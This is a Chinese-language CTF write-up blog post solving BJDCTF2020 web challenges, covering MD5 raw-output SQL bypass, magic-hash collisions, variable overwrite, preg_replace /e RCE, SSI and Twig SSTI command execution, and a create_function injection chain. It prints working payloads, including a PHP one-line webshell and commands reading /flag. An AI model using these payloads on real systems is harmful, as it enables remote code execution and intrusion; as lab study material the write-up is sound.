BJDCTF2020

  1. BJDCTF2020 wp
    1. Easy MD5
    2. Mark loves cat
    3. ZJCTF,不过如此
    4. EasySearch
    5. Cookie is so stable
    6. EzPHP
    7. The mystery of ip

BJDCTF2020 wp

Easy MD5

打开网址之后,在响应标头中找到了hint:

1
select * from 'admin' where password = md5($pass,true)

理论上md5的密码验证是很难破解的,但是这里MD5函数的第二个参数设为true就有漏洞。

1
2
3
4
md5("hello");
>>5d41402abc4b2a76b9719d911017c592
md5("hello",true);
>>]A@*�K*v�q��Œ

32字符十六进制数很好理解,16进制字符二进制格式并非真的二进制,二十将十六进制数两个一组,转化成ASCII字符,如,5d =》],41=>A

因此可以输入特定的字符串,使得md5之后的raw_output中含有or。网上找到了两个:

1
2
3
4
5
md5("ffifdyop",true);
>>'or'6�]��!r,��b
md5("129581926211651571912466741651878684928",true);
>>�T0D��o#��'or'8
//第二个在该题中无效

第二层是MD5碰撞:

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

因为使用的是!===弱类型比较而不是!=====这种强类型比较,弱类型比较会将‘0E’开头的哈希值解释为科学计数法,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

符合条件的一些MD5值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
纯数字类:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020


大写字母类:
QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

EEIZDOI
0e782601363539291779881938479162

TUFEPMC
0e839407194569345277863905212547

UTIPEZQ
0e382098788231234954670291303879

UYXFLOI
0e552539585246568817348686838809

IHKFRNS
0e256160682445802696926137988570

PJNPDWY
0e291529052894702774557631701704

ABJIHVY
0e755264355178451322893275696586

DQWRASX
0e742373665639232907775599582643

DYAXWCA
0e424759758842488633464374063001

GEGHBXL
0e248776895502908863709684713578

GGHMVOE
0e362766013028313274586933780773

GZECLQZ
0e537612333747236407713628225676

NWWKITQ
0e763082070976038347657360817689

NOOPCJF
0e818888003657176127862245791911

MAUXXQC
0e478478466848439040434801845361

MMHUWUV
0e701732711630150438129209816536

然后是第三层:

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

第三层可以用数组绕过,由于:

1
2
3
$a[] = 1;
echo md5($a) === null;
>>1

故:

Mark loves cat

这道题看了很久,刚看到message以及get的时候觉得是xss,但是搞不定,然后去看wp,发现是git源码泄露,然而buu的web用dirsearch扫描的时候永远是429-Too Many Requests…….啥也扫不出来

知道是git源码泄露之后用githack下载:

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

这个可变变量把我给绕晕了。。。可以看看L’Amore大佬的wp

ZJCTF,不过如此

看了看题目,应该是zjctf某道题的改编,首先找到zjctf的题目。

第一层是一样的,使用data://绕过。payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

接着看到include函数想到文件包含。

payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

image-20200929181134817

将base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

刚开始发现getFlag函数定义了没有执行,猜测是使用complex函数来执行这个函数,但是看了好久还是没思路。。。

然后看了wp才知道preg_replace在/e模式下的RCE

深入研究preg_replace与代码执行

payload:?\S*=${getflag()}&cmd=system('cat /flag');

当然,都RCE了,也可以一句话木马直接上蚁剑

?\S*=${eval($_POST[kite])}

EasySearch

看到题目的search想到源码泄露,访问index.php.swp得到部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

第一层直接爆破:

自己写的垃圾脚本:

1
2
3
4
5
6
7
8
9
<?php
for($i = 0;$i < 9999999999; $i++){
if (substr(md5($i),0,6) == "6d0bc1")
{
echo "yes"."\n".$i;
return;
}
if ($i%1000000 == 0) echo "***"."\n";
}

image-20200929211713316

登陆成功:

在响应标头里找到随机生成的url:

打开:

然后是一个新的知识点:Apache 开启SSI配置使shtml支持 include()和SSI Shell漏洞问题

本题中没有过滤,直接在username里打就可以了:

<!--#exec cmd="ls ../"-->

image-20201004171037689

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

image-20201004171201673

老图了:

preview

依次测试: ${7*7},返回${7*7},不通过;测试49,返回49,通过;测试 49,返回49,判断模板为twig(如果是jinja2返回7777777,并且twig是php,jinja是python)

知识点链接:一篇文章带你理解漏洞之SSTI漏洞/#2-Twig

hint:

根据文章得到payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

得到flag:

EzPHP

ez不一定ez,但是hard是真的hard

hint:

base32解码:

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
  1. 先看一下第一层过滤:有关$_SERVER的知识

    image-20201009192644228

    所以本题中$_SERVER[‘QUERY_STRING’]过滤的是get的参数,直接用url编码绕过即可,有一个小坑就是:一般网上的在线url编码/解码不会对字母数字进行编码,因为:

    “…Only alphanumerics [0-9a-zA-Z], the special characters “$-.+!*’(),” [not including the quotes - ed], and reserved characters used for their reserved purposes may be used unencoded within a URL.”

    “只有字母和数字[0-9a-zA-Z]、一些特殊符号”$-_.+!*’(),”[不包括双引号]、以及某些保留字,才可以不经过编码直接用于URL。”

    一般来说这些字符的url编码就是ascii码前面加个%,具体参考:https://www.w3school.com.cn/tags/html_ref_urlencode.htm

  2. 第二层过滤又要在debu中正则匹配到”aqua_is_cute”并且用^和$卡住了两端,又要求debu !== “aqua_is_cute” ,看似不可能,但是结尾没有/D的话,$会省略句尾的%0a。所以只需要传入

    1
    debu=aqua_is_cute%0a

    再url编码一下:

    1
    %64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
  3. 第三层过滤是看看$_REQUEST中有没有英文字母,即使是url编码,因为是16进制,所以依然会有英文字母的出现,这里涉及到$_REQUEST的一个特性(bug):当GET和POST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配。如图:

  4. 第四层:if (file_get_contents($file) !== 'debu_debu_aqua')就是要在$file中写入“debu_debu_aqua”,可以用php://input或者data://text/plain,(url编写内容)绕过,参考:PHP file_get_contents 绕过

  5. 第五层:PHP 中的sha1()和MD5()函数漏洞

    当传入?shana[]&passwd[]=123时,他俩的sha1都为null,但是两者不相等。

    image-20201009205507311

  6. 第六层,也是最后一层了。

    参考:代码审计从入门到放弃(一) & function

    从参考文章可知,&5c\打头时可以正常运行var_dump(),但是。。。本题中变量code和arg没办法get。。。

    然后我发现在sha1过滤的地方会执行一个extract函数(刚开始还没看见,找了好久。。。)这是一个经典的变量覆盖的问题。

    不过也有个小坑,就是刚开始不知道如何变量覆盖,网上的资料基本都是extract($_GET);,直接传入code=xxx&arg=xxx即可;这里的extract($_GET["flag"]);需要传入flag[code]=xxx&flag[arg]=xxx

    输入flag[code]=%5cvar_dump&flag[arg]=23333(url编码之后为:%66%6c%61%67%5b%63%6f%64%65%5d=%5c%76%61%72%5f%64%75%6d%70&%66%6c%61%67%5b%61%72%67%5d=2333)进行测试:

    奇奇怪怪的东西是flag.php的内容

    灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵

    F12:image-20201010114813584

    到这里思路就断了,以为这些生僻字是flag,但是看了wp之后才发现不是。在$code('', $arg);处没有执行任何指令,我还以为被ban的函数这么多,不需要绕过,以及include了flag.php,以及出现了flag字样,导致我以为flag出了,后面是个misc。

    顺着wp的思路往下:因为include了flag.php,所以可以用get_defined_vars()将所有变量dump出来

    本来想试试能不能不利用create_function直接dump,后面发现不行:

    因为此时执行的是var_dump('','get_defined_vars()'),所以还是得利用create_function,原理解析:[科普向] 解析create_function() && 复现wp

    构造payload:

    1
    2
    flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
    url编码之后为:%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f

    (刚开始以为过滤了},但是仔细看看发现只过滤了{。。。以及,为什么code不需要%5c

    将所有变量dump出来之后发现提示真正的flag在rea1fl4g.php

    因为过滤了include,所以可以用require代替include,将rea1fl4g.php包含进来,并且过滤了·,可以用base64绕过

    payload:

    1
    2
    3
    4
    flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
    cmVhMWZsNGcucGhw:rea1fl4g.php的base64编码
    url编码之后为:
    %66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=%7d%72%65%71%75%69%72%65%28%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77%29%29%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f

    然后得到了一个假的flag:(脸上笑嘻嘻

    image-20201010161925745

    根据wp,预期解是取反绕过:

    payload:

    1
    flag[code]=create_function&flag[arg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

    最后终于拿到flag:

    image-20201010164915050

The mystery of ip

首先找到hint:

image-20201011110916069

顺着hint随便找了篇文章:php获取客户端IP地址的几种方法

测试了一下发现是XFF:

image-20201011111624007

因为先做了Cookie is so stable这一题,两个页面差不多,连hint的位置都一样,所以先考虑SSTI,

文章标题:BJDCTF2020

本文作者:Kyle

发布时间:2020-09-28, 14:42:08

最后更新:2020-10-11, 19:07:56

原始链接:https://silver2835.github.io/2020/09/28/BJDCTF2020/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录